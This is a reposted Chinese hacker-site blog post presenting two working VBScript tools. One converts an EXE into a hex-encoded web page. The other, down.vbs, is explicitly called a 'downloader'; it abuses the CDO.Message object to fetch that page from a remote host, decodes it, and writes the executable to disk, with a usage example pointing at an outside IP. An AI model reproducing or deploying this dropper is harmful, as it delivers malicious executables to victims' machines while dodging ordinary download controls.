华域联盟 vbs VBS下载文件的新方法

VBS下载文件的新方法

BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。

于是研究了一会。写出个粗糙的DEMO。

exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制

================================================


复制代码 代码如下:

'code by xiaolu

'change by NetPatch

on error resume next

set arg=wscript.arguments

if arg.count=0 then wscript.quit

do while 1

fname=arg(0)

err.number=0

Set Ado = CreateObject("adodb.stream")

With Ado

.Type = 1

.open

.loadfromfile fname

ss = .read

End With

if err.number<>0 then

if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit

else

exit do

end if

loop

if fname="" then Wscript.quit

Set Fso=CreateObject("Scripting.FileSystemObject")

Set File=fso.OpenTextFile(arg(0)&".htm",2, True)

File.write Bin2Str(ss)

File.close

Set fso=nothing

Ado.close

set Abo=nothing

Function Bin2Str(Re)

For i = 1 To lenB(Re)

bt = AscB(MidB(Re, i, 1))

if bt < 16 Then Bin2Str=Bin2Str&"0"

Bin2Str=Bin2Str & Hex(bt)

Next

End Function

======================================

下载者 down.vbs

=============


on error resume next

set arg=wscript.arguments

if arg.count=0 then wscript.quit

'code by NetPatch

'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe

Set Mail1 = CreateObject("CDO.Message")

Mail1.CreateMHTMLBody arg(0),31

ss= Mail1.HTMLBody

Set Mail1 = Nothing

Set RS=CreateObject("ADODB.Recordset")

L=Len(ss)/2

RS.Fields.Append "m",205,L

RS.Open:RS.AddNew

RS("m")=ss&ChrB(0)

RS.Update

ss=RS("m").GetChunk(L)

Set s=CreateObject("ADODB.Stream")

with s

.Mode = 3

.Type = 1

.Open()

.Write ss

.SaveToFile arg(1),2

end with

==================================

demo.htm内容时用exe2hex.vbs转EXE后获得的

使用方法:

1.exe2hex.vbs 把exe转成十六进制,放到网络上

2.down.vbs http://xxx/demo.htm c:\good.exe
您可能感兴趣的文章:

本文由 华域联盟 原创撰写:华域联盟 » VBS下载文件的新方法

转载请保留出处和原文链接:https://www.cnhackhy.com/16008.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部